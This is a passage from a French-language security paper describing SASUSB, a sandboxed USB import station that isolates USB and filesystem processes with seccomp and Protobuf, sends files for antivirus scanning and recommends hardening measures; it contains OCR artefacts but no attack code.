— mmap filtré pour autoriser les allocations (sans rwx) ;
— lecture sur le filedescriptor de réception sur 'interface publiée;
— écriture sur le filedescriptor d’envoi sur 'interface publiée ;
— processus scsi/systéme de fichiers
— lecture sur le filedescriptor de réception sur l'interface avec le
processus USB/scsi ;
— écriture sur le filedescriptor d’envoi sur l'interface avec le pro-
cessus USB/scsi;
— mmap filtré pour autoriser les allocations (sans rwx) ;
— lecture sur le filedescriptor de réception sur 'interface publiée;
— écriture sur le filedescriptor d’envoi sur 'interface publiée ;

Ainsi, si un des processus est corrompu, 'attaquant est limité dans
ses mouvements. Par exemple s’il corrompt le processus de gestion du
systeme de fichiers, il peut envoyer des données contrdlées sur 'interface
publiée d’acces au systéme de fichiers. Interface qui doit étre sérialisée en
Protobuf. Du point de vue du processus client de cette interface, cela ne
change rien : 'attaquant pourra choisir des noms de fichiers exotiques,
des droits ou des tailles de fichiers farfelus. On peut noter que ceci aurait
déja pu étre le cas en modifiant directement le systéme de fichiers sur la
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clef USB. Le gain est nul pour I'attaquant de ce point de vue. Notons que
tous les processus sont tués et relancés entre chaque transfert.

L’attaque est tout de méme utile dans d’autres scénarios : depuis
I'intérieur de la sandbox, 'attaquant pourra tenter une évasion de seccomp
en utilisant la vulnérabilité rowhammer si le matériel y est sensible. L’atta-
quant pourra également tenter d’accéder a la mémoire hors de la sandbox
via I’exploitation de vulnérabilité sur les caches de la machine. L’adminis-
trateur du SASUSB devra la aussi faire une configuration permettant de
répondre & ce genre d’exploitations.

2.3 Gestion des processus

Les différents processus composant les SASUSB sont lancés et orches-
trés par un processus pere, il est lui aussi sous seccomp et communique
avec ses enfants via protobuf. Ce processus expose une interface de commu-
nication a destination de 'application finale. N’importe quel programme
parlant protobuf peut ainsi utiliser les mécanismes offert par le SASUSB.
Notons ici 'avantage de protobuf par rapport a serde qui est la référence
Rust en terme de sérialisation/désérialisation, et qu’il existe de nombreuses
bibliothéques dans différents langages capables de générer du code protobuf,
ne limitant pas 'application finale au langage Rust.

2.4 Traitement des données

Nous l'avons vu, le SASUSB fait office de point d’insertion de données
au sens du guide de ’ANSSI [11].

Le choix a été fait de ne pas mettre d’antivirus directement sur la
machine. Le grand nombre de SASUSB dispersés dans I'entreprise tend
a garder le prix unitaire des SASUSB relativement bas et donc avec des
capacités de calcul limitées. Ces capacités seraient trop modestes pour
permettre de faire tourner des machines virtuelles contenant plusieurs
antivirus différents sur un SASUSB.

Le SASUSB offre cependant la possibilité d’uploader les fichiers sé-
lectionnés (stockés dans une archive intermédiaire du transfert) sur un
serveur distant pour analyse antivirale. Le résultat est attendu sous forme
de JSON décrivant I’état de chaque fichier (sain/infecté).

Les administrateurs peuvent faire le choix d’implémenter un serveur
d’analyse maison basée par exemple sur une installation de Irma [17], ou
de faire une petite adaptation pour utiliser des services externes clef en
main comme VirusTotal ou équivalents.
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Cette fonctionnalité peut également étre utilisée pour séquestrer les

fichiers dans le but d’offrir un historique lors d’analyses post mortem.

Aprés réception des résultats antiviraux, deux cas de figure se pré-

sentent :

— La destination du transfert est une autre clef USB : dans ce cas,
un autre processus lit cette archive et génére un systéme de fichiers
complet en y incluant seulement les fichiers sains. La clef USB de
sortie est donc effacée et possede une nouvelle table de partition et
un systeme de fichiers contenant uniquement les fichiers sélectionnés
par l'utilisateur et ayant passé I’antivirus.

— La destination du transfert est un serveur distant : dans ce cas une
archive contentant les fichiers sains est uploadée vers ce serveur (qui
pourra, par exemple, envoyer les fichiers par mail a l'utilisateur).

Notons que dans les deux cas, 'attaque du double read 1.2 est évitée

puisque les données sont d’abord récupérées depuis la clef USB, puis
sont traitées dans un second temps, la clef USB n’est donc lue qu’une
fois. En outre, les métadonnées peuvent étre modifiées par une clef USB
malveillante : les tailles de fichiers sont affichées a 'utilisateur mais le
contenu des fichiers n’est copié qu’'une fois la demande effectuée.

2.5 Interfaces clientes

Pour utiliser les fonctionnalités du SASUSB, une application cliente
doit donc communiquer (via protobuf) avec le processus pere évoqué
précédemment. Nous verrons ici application principale (un serveur WEB)
ainsi que d’autres exemples.

API web L’utilisation principale du SASUSB se fait par l'intermédiaire
d’un client et d’un serveur WEB. Ce dernier, écrit en Rust, expose une
API WEB qui offre les fonctionnalités suivantes :
— Pour effectuer un transfert :
— Récupération des périphériques USB de type mass storage
connectés au SASUSB
— Sélection d’un périphérique d’entrée
— Sélection d’une destination (USB ou upload vers un serveur)
— Lecture des partitions du périphérique d’entrée
— Sélection d’une partition
— Parcours de 'arborescence du systéme de fichiers
— Copie d’une liste de fichiers vers la destination choisie
— Formatage d’un périphérique USB (avec ou sans effacement préa-
lable)
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— Faire une image d’un périphérique USB (pour analyse ultérieure
par un administrateur)

— Réinitialisation du SASUSB (nécessaire entre chaque transfert)

La partie cliente utilisant API du serveur a été développée pour

NW.js, une plateforme basée sur chromium permettant 'implémentation
d’applications de bureau a partir de technologies WEB. Il a 'avantage de
fournir un mode kiosque ('utilisateur ne peut sortir de la fenétre affichée).

La figure 2 décrit I'architecture compléte des processus du SASUSB,

I’annexe A représente l'interface graphique du client WEB.
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Fig. 2. Schéma complet des processus composant le SASUSB

Fuse La séparation des processus du SASUSB permet d’implémenter
différentes applications utilisant ce dernier & moindre cotit. Pour illustrer

cette affirmation nous avons implémenté un systéme de fichiers virtuel
utilisant la libFUSE (Filesystem in UserSpacE) et les briques du SASUSB.

Il permet, sous Linux, de monter un périphérique de stockage USB en
lecture seule (les modules noyaux évoqués précédemment sont toujours
désactivés/supprimés).
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2.6 Hardening systéme

Le présent article se focalise sur la description du logiciel en lui-
méme, cependant son déploiement sur une machine servant de station
d’import de données doit immanquablement s’accompagner de pratiques
de durcissement adaptées, par exemple :

— utilisation d’une machine permettant de fermer et sceller 'acces
aux connecteurs Ethernet, alimentation, écran (tactile), lecteur de
cartes a puce. . .;

— utilisation de Secure Boot, chiffrement du disque dur par un secret
du TPM pour un démarrage sécurisé et vérifié;

— UEFI protégé, pas de démarrage sur un autre média;

— partitions systémes en lecture seule;

— assignation de ports spécifiques pour le périphérique d’entrée et le
périphérique de sortie (via le SASUSB) afin de n’autoriser le HID
que sur les ports ou ’acces physique est restreint ;

— authentification TLS et/ou Kerberos (implémenté dans le SASUSB)
des serveurs d’analyse et d’'upload ;

— suppression/désactivation des modules USB du noyau Linux (uas,
usb__storage, usbnet. . .).

Enfin, nous renvoyons le lecteur aux recommandations de I’ANSSI concer-
nant la sécurité des systemes GNU/Linux [10].

3 Conclusion

Le SASUSB permet de répondre aux nombreuses problématiques po-
sées par la manipulation de périphériques USB malveillants. L’utilisation
de deux périphériques distincts, ’exécution du code en espace utilisateur
non privilégié et contraint (seccomp) ainsi que 'analyse antivirale aug-
mentent fortement la sécurité des transferts de données par le protocole
USB. La modularité du SASUSB et son interface protobuf offrent, outre le
développement de SAS d’import de données, de nombreuses possibilités.

Les travaux sur ce projet sont toujours en cours et des améliorations
sont envisagées dans un futur plus ou moins lointain :

— signature des clefs USB de confiance afin de n’autoriser que celles-ci

sur les postes utilisateurs (développement d'un driver Windows et
Linux nécessaire pour vérifier cette signature) ;

— remplacement des bibliotheques C restantes (pour le support exFAT

en lecture/écriture et NTFS en écriture) par des crates Rust ;

— fuzzing ;

— lecture de conteneurs chiffrés (LUKS, ZED!...);
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— exportation de données du SI par le SASUSB (afin d’éliminer
totalement la connexion de périphériques de stockage sur les postes
utilisateurs).
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A Interface WEB

SASUSB outils  FAQ.

4
=

Veuillez insérer la .3
clé USB source o

SASUSB

Utilisateur: Tartempion

v Préparation dela copie

' Lecture des metadonnées

V' Filtrage des fichiers par nom

V' Copieintermédiaire des fichiers depuis la clé USB source
V' Analyse antivirale des fichiers

+ Création dusystéme de fichier

v Ecriture du systéme de fichier sur la clé destination

B Transfert terminé

X Fichier filtré : /AUTORUN.INF

X Fichier filtré par I'antivirus: /eicar.com

Merci de retirer les clés USB branchées

Fig. 3. Interface d’accueil du SASUSB / Interface aprés un transfert
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